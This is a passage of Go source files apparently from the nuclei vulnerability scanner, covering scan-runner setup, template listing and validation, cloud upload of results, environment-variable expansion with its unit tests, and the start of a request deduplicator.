r.browser,\n\t\tColorizer:           r.colorizer,\n\t\tResumeCfg:           r.resumeCfg,\n\t\tExcludeMatchers:     excludematchers.New(r.options.ExcludeMatchers),\n\t\tInputHelper:         input.NewHelper(),\n\t\tTemporaryDirectory:  r.tmpDir,\n\t\tParser:              r.parser,\n\t\tFuzzParamsFrequency: fuzzFreqCache,\n\t\tGlobalMatchers:      globalmatchers.New(),\n\t\tDoNotCache:          r.options.DoNotCacheTemplates,\n\t\tLogger:              r.Logger,\n\t}\n\n\tif config.DefaultConfig.IsDebugArgEnabled(config.DebugExportURLPattern) {\n\t\t// Go StdLib style experimental/debug feature switch\n\t\texecutorOpts.ExportReqURLPattern = true\n\t}\n\n\tif len(r.options.SecretsFile) > 0 && !r.options.Validate {\n\t\t// Clone options so GetAuthTmplStore can modify them without affecting the original\n\t\tauthOptions := r.options.Copy()\n\t\tauthTmplStore, err := GetAuthTmplStore(authOptions, r.catalog, executorOpts)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to load dynamic auth templates\")\n\t\t}\n\t\tauthOpts := &authprovider.AuthProviderOptions{SecretsFiles: r.options.SecretsFile}\n\t\tauthOpts.LazyFetchSecret = GetLazyAuthFetchCallback(&AuthLazyFetchOptions{\n\t\t\tTemplateStore: authTmplStore,\n\t\t\tExecOpts:      executorOpts,\n\t\t})\n\t\t// initialize auth provider\n\t\tprovider, err := authprovider.NewAuthProvider(authOpts)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create auth provider\")\n\t\t}\n\t\texecutorOpts.AuthProvider = provider\n\t}\n\n\tif r.options.ShouldUseHostError() {\n\t\tmaxHostError := r.options.MaxHostError\n\t\tif r.options.TemplateThreads > maxHostError {\n\t\t\tr.Logger.Print().Msgf(\"[%v] The concurrency value is higher than max-host-error\", r.colorizer.BrightYellow(\"WRN\"))\n\t\t\tr.Logger.Info().Msgf(\"Adjusting max-host-error to the concurrency value: %d\", r.options.TemplateThreads)\n\n\t\t\tmaxHostError = r.options.TemplateThreads\n\t\t}\n\n\t\tcache := hosterrorscache.New(maxHostError, hosterrorscache.DefaultMaxHostsCount, r.options.TrackError)\n\t\tcache.SetVerbose(r.options.Verbose)\n\n\t\tr.hostErrors = cache\n\t\texecutorOpts.HostErrorsCache = cache\n\t}\n\n\texecutorEngine := core.New(r.options)\n\texecutorEngine.SetExecuterOptions(executorOpts)\n\n\tworkflowLoader, err := parsers.NewLoader(executorOpts)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Could not create loader.\")\n\t}\n\texecutorOpts.WorkflowLoader = workflowLoader\n\n\t// If using input-file flags, only load http fuzzing based templates.\n\tloaderConfig := loader.NewConfig(r.options, r.catalog, executorOpts)\n\tif !strings.EqualFold(r.options.InputFileMode, \"list\") || r.options.DAST {\n\t\t// if input type is not list (implicitly enable fuzzing)\n\t\tr.options.DAST = true\n\t}\n\tstore, err := loader.New(loaderConfig)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Could not create loader.\")\n\t}\n\n\t// list all templates or tags as specified by user.\n\t// This uses a separate parser to reduce time taken as\n\t// normally nuclei does a lot of compilation and stuff\n\t// for templates, which we don't want for these simp\n\tif r.options.TagList {\n\t\ttagsMap, err := store.LoadTemplateTags()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.listAvailableTags(tagsMap)\n\t\tos.Exit(0)\n\t}\n\n\tif r.options.TemplateList || r.options.TemplateDisplay {\n\t\tif err := store.LoadTemplatesOnlyMetadata(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tr.listAvailableStoreTemplates(store)\n\t\tos.Exit(0)\n\t}\n\n\tif r.options.Validate {\n\t\tif err := store.ValidateTemplates(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif stats.GetValue(templates.SyntaxErrorStats) == 0 && stats.GetValue(templates.SyntaxWarningStats) == 0 && stats.GetValue(templates.RuntimeWarningsStats) == 0 {\n\t\t\tr.Logger.Info().Msgf(\"All templates validated successfully\")\n\t\t} else {\n\t\t\treturn errors.New(\"encountered errors while performing template validation\")\n\t\t}\n\t\treturn nil // exit\n\t}\n\tif err := store.Load(); err != nil {\n\t\treturn err\n\t}\n\t// TODO: remove below functions after v3 or update warning messages\n\ttemplates.PrintDeprecatedProtocolNameMsgIfApplicable(r.options.Silent, r.options.Verbose)\n\n\t// add the hosts from the metadata queries of loaded templates into input provider\n\tif r.options.Uncover && len(r.options.UncoverQuery) == 0 {\n\t\tuncoverOpts := &uncoverlib.Options{\n\t\t\tLimit:         r.options.UncoverLimit,\n\t\t\tMaxRetry:      r.options.Retries,\n\t\t\tTimeout:       r.options.Timeout,\n\t\t\tRateLimit:     uint(r.options.UncoverRateLimit),\n\t\t\tRateLimitUnit: time.Minute, // default unit is minute\n\t\t}\n\t\tret := uncover.GetUncoverTargetsFromMetadata(context.TODO(), store.Templates(), r.options.UncoverField, uncoverOpts)\n\t\tfor host := range ret {\n\t\t\t_ = r.inputProvider.SetWithExclusions(r.options.ExecutionId, host)\n\t\t}\n\t}\n\t// display execution info like version , templates used etc\n\tr.displayExecutionInfo(store)\n\n\t// prefetch secrets to ensure authentication completes before scanning starts\n\tif executorOpts.AuthProvider != nil {\n\t\tr.Logger.Info().Msgf(\"Pre-fetching secrets from authprovider[s]\")\n\t\tif err := executorOpts.AuthProvider.PreFetchSecrets(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not pre-fetch secrets\")\n\t\t}\n\t}\n\n\t// If not explicitly disabled, check if http based protocols\n\t// are used, and if inputs are non-http to pre-perform probing\n\t// of urls and storing them for execution.\n\tif !r.options.DisableHTTPProbe && loader.IsHTTPBasedProtocolUsed(store) && r.isInputNonHTTP() {\n\t\tinputHelpers, err := r.initializeTemplatesHTTPInput()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not probe http input\")\n\t\t}\n\t\texecutorOpts.InputHelper.InputsHTTP = inputHelpers\n\t}\n\n\t// initialize stats worker ( this is no-op unless nuclei is built with stats build tag)\n\t// during execution a directory with 2 files will be created in the current directory\n\t// config.json - containing below info\n\t// events.jsonl - containing all start and end times of all templates\n\tevents.InitWithConfig(&events.ScanConfig{\n\t\tName:                \"nuclei-stats\", // make this configurable\n\t\tTargetCount:         int(r.inputProvider.Count()),\n\t\tTemplatesCount:      len(store.Templates()) + len(store.Workflows()),\n\t\tTemplateConcurrency: r.options.TemplateThreads,\n\t\tPayloadConcurrency:  r.options.PayloadConcurrency,\n\t\tJsConcurrency:       r.options.JsConcurrency,\n\t\tRetries:             r.options.Retries,\n\t}, \"\")\n\n\tif r.dastServer != nil {\n\t\tgo func() {\n\t\t\tif err := r.dastServer.Start(); err != nil {\n\t\t\t\tr.Logger.Error().Msgf(\"could not start dast server: %v\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tnow := time.Now()\n\tenumeration := false\n\tvar results *atomic.Bool\n\tresults, err = r.runStandardEnumeration(executorOpts, store, executorEngine)\n\tenumeration = true\n\n\tif !enumeration {\n\t\treturn err\n\t}\n\n\tif executorOpts.FuzzStatsDB != nil {\n\t\texecutorOpts.FuzzStatsDB.Close()\n\t}\n\tif r.interactsh != nil {\n\t\tmatched := r.interactsh.Close()\n\t\tif matched {\n\t\t\tresults.CompareAndSwap(false, true)\n\t\t}\n\t}\n\tif executorOpts.InputHelper != nil {\n\t\t_ = executorOpts.InputHelper.Close()\n\t}\n\tr.fuzzFrequencyCache.Close()\n\n\tr.progress.Stop()\n\ttimeTaken := time.Since(now)\n\t// todo: error propagation without canonical straight error check is required by cloud?\n\t// use safe dereferencing to avoid potential panics in case of previous unchecked errors\n\tif v := ptrutil.Safe(results); !v.Load() {\n\t\tr.Logger.Info().Msgf(\"Scan completed in %s. No results found.\", shortDur(timeTaken))\n\t} else {\n\t\tmatchCount := r.output.ResultCount()\n\t\tr.Logger.Info().Msgf(\"Scan completed in %s. %d matches found.\", shortDur(timeTaken), matchCount)\n\t}\n\n\t// check if a passive scan was requested but no target was provided\n\tif r.options.OfflineHTTP && len(r.options.Targets) == 0 && r.options.TargetsFilePath == \"\" {\n\t\treturn errors.Wrap(err, \"missing required input (http response) to run passive templates\")\n\t}\n\n\treturn err\n}\n\nfunc shortDur(d time.Duration) string {\n\tif d < time.Minute {\n\t\treturn d.String()\n\t}\n\n\t// Truncate to the nearest minute\n\td = d.Truncate(time.Minute)\n\ts := d.String()\n\n\tif strings.HasSuffix(s, \"m0s\") {\n\t\ts = s[:len(s)-2]\n\t}\n\tif strings.HasSuffix(s, \"h0m\") {\n\t\ts = s[:len(s)-2]\n\t}\n\treturn s\n}\n\nfunc (r *Runner) isInputNonHTTP() bool {\n\tvar nonURLInput bool\n\tr.inputProvider.Iterate(func(value *contextargs.MetaInput) bool {\n\t\tif !strings.Contains(value.Input, \"://\") {\n\t\t\tnonURLInput = true\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\treturn nonURLInput\n}\n\nfunc (r *Runner) executeSmartWorkflowInput(executorOpts *protocols.ExecutorOptions, store *loader.Store, engine *core.Engine) (*atomic.Bool, error) {\n\tr.progress.Init(r.inputProvider.Count(), 0, 0)\n\n\tservice, err := automaticscan.New(automaticscan.Options{\n\t\tExecuterOpts: executorOpts,\n\t\tStore:        store,\n\t\tEngine:       engine,\n\t\tTarget:       r.inputProvider,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create automatic scan service\")\n\t}\n\tif err := service.Execute(); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not execute automatic scan\")\n\t}\n\tresult := &atomic.Bool{}\n\tresult.Store(service.Close())\n\treturn result, nil\n}\n\nfunc (r *Runner) executeTemplatesInput(store *loader.Store, engine *core.Engine) (*atomic.Bool, error) {\n\tif r.options.VerboseVerbose {\n\t\tfor _, template := range store.Templates() {\n\t\t\tr.logAvailableTemplate(template.Path)\n\t\t}\n\t\tfor _, template := range store.Workflows() {\n\t\t\tr.logAvailableTemplate(template.Path)\n\t\t}\n\t}\n\n\tfinalTemplates := []*templates.Template{}\n\tfinalTemplates = append(finalTemplates, store.Templates()...)\n\tfinalTemplates = append(finalTemplates, store.Workflows()...)\n\n\tif len(finalTemplates) == 0 {\n\t\treturn nil, errors.New(\"no templates provided for scan\")\n\t}\n\n\t// pass input provider to engine\n\t// TODO: this should be not necessary after r.hmapInputProvider is removed + refactored\n\tif r.inputProvider == nil {\n\t\treturn nil, errors.New(\"no input provider found\")\n\t}\n\tresults := engine.ExecuteScanWithOpts(context.Background(), finalTemplates, r.inputProvider, r.options.DisableClustering)\n\treturn results, nil\n}\n\n// displayExecutionInfo displays misc info about the nuclei engine execution\nfunc (r *Runner) displayExecutionInfo(store *loader.Store) {\n\t// Display stats for any loaded templates' syntax warnings or errors\n\tstats.Display(templates.SyntaxWarningStats)\n\tstats.Display(templates.SyntaxErrorStats)\n\tstats.Display(templates.RuntimeWarningsStats)\n\ttmplCount := len(store.Templates())\n\tworkflowCount := len(store.Workflows())\n\tif r.options.Verbose || (tmplCount == 0 && workflowCount == 0) {\n\t\t// only print these stats in verbose mode\n\t\tstats.ForceDisplayWarning(templates.ExcludedHeadlessTmplStats)\n\t\tstats.ForceDisplayWarning(templates.ExcludedCodeTmplStats)\n\t\tstats.ForceDisplayWarning(templates.ExcludedDastTmplStats)\n\t\tstats.ForceDisplayWarning(templates.TemplatesExcludedStats)\n\t\tstats.ForceDisplayWarning(templates.ExcludedFileStats)\n\t\tstats.ForceDisplayWarning(templates.ExcludedSelfContainedStats)\n\t}\n\n\tif tmplCount == 0 && workflowCount == 0 {\n\t\t// if dast flag is used print explicit warning\n\t\tif r.options.DAST {\n\t\t\tr.Logger.Print().Msgf(\"[%v] No DAST templates found\", aurora.BrightYellow(\"WRN\"))\n\t\t}\n\t\tstats.ForceDisplayWarning(templates.SkippedCodeTmplTamperedStats)\n\t} else {\n\t\tstats.DisplayAsWarning(templates.SkippedCodeTmplTamperedStats)\n\t}\n\tstats.DisplayAsWarning(httpProtocol.SetThreadToCountZero)\n\tstats.ForceDisplayWarning(templates.SkippedUnsignedStats)\n\tstats.ForceDisplayWarning(templates.SkippedRequestSignatureStats)\n\n\tcfg := config.DefaultConfig\n\n\tupdateutils.Aurora = r.colorizer\n\tversionInfo := func(version, latestVersion, versionType string) string {\n\t\tif !cfg.CanCheckForUpdates() {\n\t\t\treturn fmt.Sprintf(\"Current %s version: %v (%s) - remove '-duc' flag to enable update checks\", versionType, version, r.colorizer.BrightYellow(\"unknown\"))\n\t\t}\n\t\treturn fmt.Sprintf(\"Current %s version: %v %v\", versionType, version, updateutils.GetVersionDescription(version, latestVersion))\n\t}\n\n\tgologger.Info().Msg(versionInfo(config.Version, cfg.LatestNucleiVersion, \"nuclei\"))\n\tgologger.Info().Msg(versionInfo(cfg.TemplateVersion, cfg.LatestNucleiTemplatesVersion, \"nuclei-templates\"))\n\tif !HideAutoSaveMsg {\n\t\tif r.pdcpUploadErrMsg != \"\" {\n\t\t\tr.Logger.Warning().Msgf(\"%s\", r.pdcpUploadErrMsg)\n\t\t} else {\n\t\t\tr.Logger.Info().Msgf(\"To view results on cloud dashboard, visit %v/scans upon scan completion.\", pdcpauth.DashBoardURL)\n\t\t}\n\t}\n\n\tif tmplCount > 0 || workflowCount > 0 {\n\t\tif len(store.Templates()) > 0 {\n\t\t\tr.Logger.Info().Msgf(\"New templates added in latest release: %d\", len(config.DefaultConfig.GetNewAdditions()))\n\t\t\tr.Logger.Info().Msgf(\"Templates loaded for current scan: %d\", len(store.Templates()))\n\t\t}\n\t\tif len(store.Workflows()) > 0 {\n\t\t\tr.Logger.Info().Msgf(\"Workflows loaded for current scan: %d\", len(store.Workflows()))\n\t\t}\n\t\tfor k, v := range templates.SignatureStats {\n\t\t\tvalue := v.Load()\n\t\t\tif value > 0 {\n\t\t\t\tif k == templates.Unsigned && !r.options.Silent && !config.DefaultConfig.HideTemplateSigWarning {\n\t\t\t\t\tr.Logger.Print().Msgf(\"[%v] Loading %d unsigned templates for scan. Use with caution.\", r.colorizer.BrightYellow(\"WRN\"), value)\n\t\t\t\t} else {\n\t\t\t\t\tr.Logger.Info().Msgf(\"Executing %d signed templates from %s\", value, k)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif r.inputProvider.Count() > 0 {\n\t\tr.Logger.Info().Msgf(\"Targets loaded for current scan: %d\", r.inputProvider.Count())\n\t}\n}\n\n// SaveResumeConfig to file\nfunc (r *Runner) SaveResumeConfig(path string) error {\n\tdir := filepath.Dir(path)\n\tif !fileutil.FolderExists(dir) {\n\t\tif err := os.MkdirAll(dir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tresumeCfgClone := r.resumeCfg.Clone()\n\tresumeCfgClone.ResumeFrom = resumeCfgClone.Current\n\tdata, _ := json.MarshalIndent(resumeCfgClone, \"\", \"\\t\")\n\n\treturn os.WriteFile(path, data, permissionutil.ConfigFilePermission)\n}\n\n// upload existing scan results to cloud with progress\nfunc UploadResultsToCloud(options *types.Options) error {\n\th := &pdcpauth.PDCPCredHandler{}\n\tcreds, err := h.GetCreds()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get credentials for cloud upload\")\n\t}\n\tctx := context.TODO()\n\tuploadWriter, err := pdcp.NewUploadWriter(ctx, options.Logger, creds)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create upload writer\")\n\t}\n\tif options.ScanID != \"\" {\n\t\t_ = uploadWriter.SetScanID(options.ScanID)\n\t}\n\tif options.ScanName != \"\" {\n\t\tuploadWriter.SetScanName(options.ScanName)\n\t}\n\tif options.TeamID != \"\" {\n\t\tuploadWriter.SetTeamID(options.TeamID)\n\t}\n\n\t// Open file to count the number of results first\n\tfile, err := os.Open(options.ScanUploadFile)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not open scan upload file\")\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\toptions.Logger.Info().Msgf(\"Uploading scan results to cloud dashboard from %s\", options.ScanUploadFile)\n\tdec := json.NewDecoder(file)\n\tfor dec.More() {\n\t\tvar r output.ResultEvent\n\t\terr := dec.Decode(&r)\n\t\tif err != nil {\n\t\t\toptions.Logger.Warning().Msgf(\"Could not decode jsonl: %s\\n\", err)\n\t\t\tcontinue\n\t\t}\n\t\tif err = uploadWriter.Write(&r); err != nil {\n\t\t\toptions.Logger.Warning().Msgf(\"[%s] failed to upload: %s\\n\", r.TemplateID, err)\n\t\t}\n\t}\n\tuploadWriter.Close()\n\treturn nil\n}\n\ntype WalkFunc func(reflect.Value, reflect.StructField)\n\n// Walk traverses a struct and executes a callback function on each value in the struct.\n// The interface{} passed to the function should be a pointer to a struct or a struct.\n// WalkFunc is the callback function used for each value in the struct. It is passed the\n// reflect.Value and reflect.Type properties of the value in the struct.\nfunc Walk(s interface{}, callback WalkFunc) {\n\tstructValue := reflect.ValueOf(s)\n\tif structValue.Kind() == reflect.Ptr {\n\t\tstructValue = structValue.Elem()\n\t}\n\tif structValue.Kind() != reflect.Struct {\n\t\treturn\n\t}\n\tfor i := 0; i < structValue.NumField(); i++ {\n\t\tfield := structValue.Field(i)\n\t\tfieldType := structValue.Type().Field(i)\n\t\tif !fieldType.IsExported() {\n\t\t\tcontinue\n\t\t}\n\t\tif field.Kind() == reflect.Struct {\n\t\t\tWalk(field.Addr().Interface(), callback)\n\t\t} else if field.Kind() == reflect.Ptr && field.Elem().Kind() == reflect.Struct {\n\t\t\tWalk(field.Interface(), callback)\n\t\t} else {\n\t\t\tcallback(field, fieldType)\n\t\t}\n\t}\n}\n\n// expandEndVars looks for values in a struct tagged with \"yaml\" and checks if they are prefixed with '$'.\n// If they are, it will try to retrieve the value from the environment and if it exists, it will set the\n// value of the field to that of the environment variable.\nfunc expandEndVars(f reflect.Value, fieldType reflect.StructField) {\n\tif _, ok := fieldType.Tag.Lookup(\"yaml\"); !ok {\n\t\treturn\n\t}\n\tif f.Kind() == reflect.String {\n\t\tstr := f.String()\n\t\tif strings.HasPrefix(str, \"$\") {\n\t\t\tenv := strings.TrimPrefix(str, \"$\")\n\t\t\tretrievedEnv := os.Getenv(env)\n\t\t\tif retrievedEnv != \"\" {\n\t\t\t\tf.SetString(os.Getenv(env))\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc init() {\n\tHideAutoSaveMsg = env.GetEnvOrDefault(\"DISABLE_CLOUD_UPLOAD_WRN\", false)\n\tEnableCloudUpload = env.GetEnvOrDefault(\"ENABLE_CLOUD_UPLOAD\", false)\n}\n"
  },
  {
    "path": "internal/runner/runner_test.go",
    "content": "package runner\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\nfunc TestCreateReportingOptions(t *testing.T) {\n\tvar options types.Options\n\toptions.ReportingConfig = \"../../integration_tests/test-issue-tracker-config1.yaml\"\n\tresultOptions, err := createReportingOptions(&options)\n\n\trequire.Nil(t, err)\n\trequire.Equal(t, resultOptions.AllowList.Severities, severity.Severities{severity.High, severity.Critical})\n\trequire.Equal(t, resultOptions.DenyList.Severities, severity.Severities{severity.Low})\n\n\toptions.ReportingConfig = \"../../integration_tests/test-issue-tracker-config2.yaml\"\n\tresultOptions2, err := createReportingOptions(&options)\n\trequire.Nil(t, err)\n\trequire.Equal(t, resultOptions2.AllowList.Severities, resultOptions.AllowList.Severities)\n\trequire.Equal(t, resultOptions2.DenyList.Severities, resultOptions.DenyList.Severities)\n}\n\ntype TestStruct1 struct {\n\tA      string       `yaml:\"a\"`\n\tStruct *TestStruct2 `yaml:\"b\"`\n}\n\ntype TestStruct2 struct {\n\tB string `yaml:\"b\"`\n}\n\ntype TestStruct3 struct {\n\tA string `yaml:\"a\"`\n\tB string `yaml:\"b\"`\n\tC string `yaml:\"c\"`\n}\n\ntype TestStruct4 struct {\n\tA      string       `yaml:\"a\"`\n\tStruct *TestStruct3 `yaml:\"b\"`\n}\n\ntype TestStruct5 struct {\n\tA []string  `yaml:\"a\"`\n\tB [2]string `yaml:\"b\"`\n}\n\ntype TestStruct6 struct {\n\tA string       `yaml:\"a\"`\n\tB *TestStruct2 `yaml:\"b\"`\n\tC string\n}\n\nfunc TestWalkReflectStructAssignsEnvVars(t *testing.T) {\n\ttestStruct := &TestStruct1{\n\t\tA: \"$VAR_EXAMPLE\",\n\t\tStruct: &TestStruct2{\n\t\t\tB: \"$VAR_TWO\",\n\t\t},\n\t}\n\t_ = os.Setenv(\"VAR_EXAMPLE\", \"value\")\n\t_ = os.Setenv(\"VAR_TWO\", \"value2\")\n\n\tWalk(testStruct, expandEndVars)\n\n\trequire.Equal(t, \"value\", testStruct.A)\n\trequire.Equal(t, \"value2\", testStruct.Struct.B)\n}\n\nfunc TestWalkReflectStructHandlesDifferentTypes(t *testing.T) {\n\ttestStruct := &TestStruct3{\n\t\tA: \"$VAR_EXAMPLE\",\n\t\tB: \"$VAR_TWO\",\n\t\tC: \"$VAR_THREE\",\n\t}\n\t_ = os.Setenv(\"VAR_EXAMPLE\", \"value\")\n\t_ = os.Setenv(\"VAR_TWO\", \"2\")\n\t_ = os.Setenv(\"VAR_THREE\", \"true\")\n\n\tWalk(testStruct, expandEndVars)\n\n\trequire.Equal(t, \"value\", testStruct.A)\n\trequire.Equal(t, \"2\", testStruct.B)\n\trequire.Equal(t, \"true\", testStruct.C)\n}\n\nfunc TestWalkReflectStructEmpty(t *testing.T) {\n\ttestStruct := &TestStruct3{\n\t\tA: \"$VAR_EXAMPLE\",\n\t\tB: \"\",\n\t\tC: \"$VAR_THREE\",\n\t}\n\t_ = os.Setenv(\"VAR_EXAMPLE\", \"value\")\n\t_ = os.Setenv(\"VAR_TWO\", \"2\")\n\t_ = os.Setenv(\"VAR_THREE\", \"true\")\n\n\tWalk(testStruct, expandEndVars)\n\n\trequire.Equal(t, \"value\", testStruct.A)\n\trequire.Equal(t, \"\", testStruct.B)\n\trequire.Equal(t, \"true\", testStruct.C)\n}\n\nfunc TestWalkReflectStructWithNoYamlTag(t *testing.T) {\n\ttest := &TestStruct6{\n\t\tA: \"$GITHUB_USER\",\n\t\tB: &TestStruct2{\n\t\t\tB: \"$GITHUB_USER\",\n\t\t},\n\t\tC: \"$GITHUB_USER\",\n\t}\n\n\t_ = os.Setenv(\"GITHUB_USER\", \"testuser\")\n\n\tWalk(test, expandEndVars)\n\trequire.Equal(t, \"testuser\", test.A)\n\trequire.Equal(t, \"testuser\", test.B.B, test.B)\n\trequire.Equal(t, \"$GITHUB_USER\", test.C)\n}\n\nfunc TestWalkReflectStructHandlesNestedStructs(t *testing.T) {\n\ttestStruct := &TestStruct4{\n\t\tA: \"$VAR_EXAMPLE\",\n\t\tStruct: &TestStruct3{\n\t\t\tB: \"$VAR_TWO\",\n\t\t\tC: \"$VAR_THREE\",\n\t\t},\n\t}\n\t_ = os.Setenv(\"VAR_EXAMPLE\", \"value\")\n\t_ = os.Setenv(\"VAR_TWO\", \"2\")\n\t_ = os.Setenv(\"VAR_THREE\", \"true\")\n\n\tWalk(testStruct, expandEndVars)\n\n\trequire.Equal(t, \"value\", testStruct.A)\n\trequire.Equal(t, \"2\", testStruct.Struct.B)\n\trequire.Equal(t, \"true\", testStruct.Struct.C)\n}\n"
  },
  {
    "path": "internal/runner/templates.go",
    "content": "package runner\n\nimport (\n\t\"bytes\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/alecthomas/chroma/quick\"\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// log available templates for verbose (-vv)\nfunc (r *Runner) logAvailableTemplate(tplPath string) {\n\tt, err := r.parser.ParseTemplate(tplPath, r.catalog)\n\ttpl, ok := t.(*templates.Template)\n\tif !ok {\n\t\tpanic(\"not a template\")\n\t}\n\tif err != nil {\n\t\tr.Logger.Error().Msgf(\"Could not parse file '%s': %s\\n\", tplPath, err)\n\t} else {\n\t\tr.verboseTemplate(tpl)\n\t}\n}\n\n// log available templates for verbose (-vv)\nfunc (r *Runner) verboseTemplate(tpl *templates.Template) {\n\tr.Logger.Print().Msgf(\"%s\\n\", templates.TemplateLogMessage(tpl.ID,\n\t\ttypes.ToString(tpl.Info.Name),\n\t\ttpl.Info.Authors.ToSlice(),\n\t\ttpl.Info.SeverityHolder.Severity))\n}\n\nfunc (r *Runner) listAvailableStoreTemplates(store *loader.Store) {\n\tr.Logger.Print().Msgf(\n\t\t\"\\nListing available %v nuclei templates for %v\",\n\t\tconfig.DefaultConfig.TemplateVersion,\n\t\tconfig.DefaultConfig.TemplatesDirectory,\n\t)\n\t// order templates alphabetically by path\n\ttemplates := store.Templates()\n\tsort.Slice(templates, func(i, j int) bool {\n\t\treturn templates[i].Path < templates[j].Path\n\t})\n\n\tfor _, tpl := range templates {\n\t\tif hasExtraFlags(r.options) {\n\t\t\tif r.options.TemplateDisplay {\n\t\t\t\tcolorize := !r.options.NoColor\n\t\t\t\tpath := tpl.Path\n\t\t\t\ttplBody, err := store.ReadTemplateFromURI(path, true)\n\t\t\t\tif err != nil {\n\t\t\t\t\tr.Logger.Error().Msgf(\"Could not read the template %s: %s\", path, err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif colorize {\n\t\t\t\t\tpath = aurora.Cyan(tpl.Path).String()\n\t\t\t\t\ttplBody, err = r.highlightTemplate(&tplBody)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tr.Logger.Error().Msgf(\"Could not highlight the template %s: %s\", tpl.Path, err)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tr.Logger.Print().Msgf(\"Template: %s\\n\\n%s\", path, tplBody)\n\t\t\t} else {\n\t\t\t\tr.Logger.Print().Msgf(\"%s\\n\", strings.TrimPrefix(tpl.Path, config.DefaultConfig.TemplatesDirectory+string(filepath.Separator)))\n\t\t\t}\n\t\t} else {\n\t\t\tr.verboseTemplate(tpl)\n\t\t}\n\t}\n}\n\nfunc (r *Runner) listAvailableTags(tagsMap map[string]int) {\n\tr.Logger.Print().Msgf(\n\t\t\"\\nListing available %v nuclei tags for %v\",\n\t\tconfig.DefaultConfig.TemplateVersion,\n\t\tconfig.DefaultConfig.TemplatesDirectory,\n\t)\n\n\ttype kv struct {\n\t\tKey   string `json:\"tag\"`\n\t\tValue int    `json:\"count\"`\n\t}\n\tvar tagsList []kv\n\tfor k, v := range tagsMap {\n\t\ttagsList = append(tagsList, kv{k, v})\n\t}\n\tsort.Slice(tagsList, func(i, j int) bool {\n\t\treturn tagsList[i].Value > tagsList[j].Value\n\t})\n\n\tfor _, tag := range tagsList {\n\t\tif r.options.JSONL {\n\t\t\tmarshalled, _ := jsoniter.Marshal(tag)\n\t\t\tr.Logger.Print().Msgf(\"%s\", string(marshalled))\n\t\t} else {\n\t\t\tr.Logger.Print().Msgf(\"%s (%d)\", tag.Key, tag.Value)\n\t\t}\n\t}\n}\n\nfunc (r *Runner) highlightTemplate(body *[]byte) ([]byte, error) {\n\tvar buf bytes.Buffer\n\t// YAML lexer, true color terminal formatter and monokai style\n\terr := quick.Highlight(&buf, string(*body), \"yaml\", \"terminal16m\", \"monokai\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}\n\nfunc hasExtraFlags(options *types.Options) bool {\n\treturn options.Templates != nil || options.Authors != nil ||\n\t\toptions.Tags != nil || len(options.ExcludeTags) > 3 ||\n\t\toptions.IncludeTags != nil || options.IncludeIds != nil ||\n\t\toptions.ExcludeIds != nil || options.IncludeTemplates != nil ||\n\t\toptions.ExcludedTemplates != nil || options.ExcludeMatchers != nil ||\n\t\toptions.Severities != nil || options.ExcludeSeverities != nil ||\n\t\toptions.Protocols != nil || options.ExcludeProtocols != nil ||\n\t\toptions.IncludeConditions != nil || options.TemplateList\n}\n"
  },
  {
    "path": "internal/server/dedupe.go",
    "content": "package server\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"net/url\"\n\t\"sort\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\nvar dynamicHeaders = map[string]bool{\n\t\"date\":                true,\n\t\"if-modified-since\":   true,\n\t\"if-unmodified-since\": true,\n\t\"cache-control\":       true,\n\t\"if-none-match\":       true,\n\t\"if-match\":            true,\n\t\"authorization\":       true,\n\t\"cookie\":              true,\n\t\"x-csrf-token\":        true,\n\t\"content-length\":      true,\n\t\"content-md5\":         true,\n\t\"host\":                true,\n\t\"x-request-id\":        true,\n\t\"x-correlation-id\":    true,\n\t\"user-agent\":          true,\n\t\"referer\":             true,\n}\n\ntype requestDeduplicator struct {\n\thashes map[string]struct{}\n\tlock   *sync.RWMutex\n}\n\nfunc newRequestDeduplicator() *requestDeduplicator {\n\treturn &requestDeduplicator{\n\t\thashes: make(map[string]struct{}),\n\t\tlock:   &sync.RWMutex{},\n\t}\n}\n\nfunc (r *requestDeduplicator) isDuplicate(req *types.RequestResponse) bool {\n\thash, err := hashRequest(req)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tr.lock.RLock()\n\t_, ok := 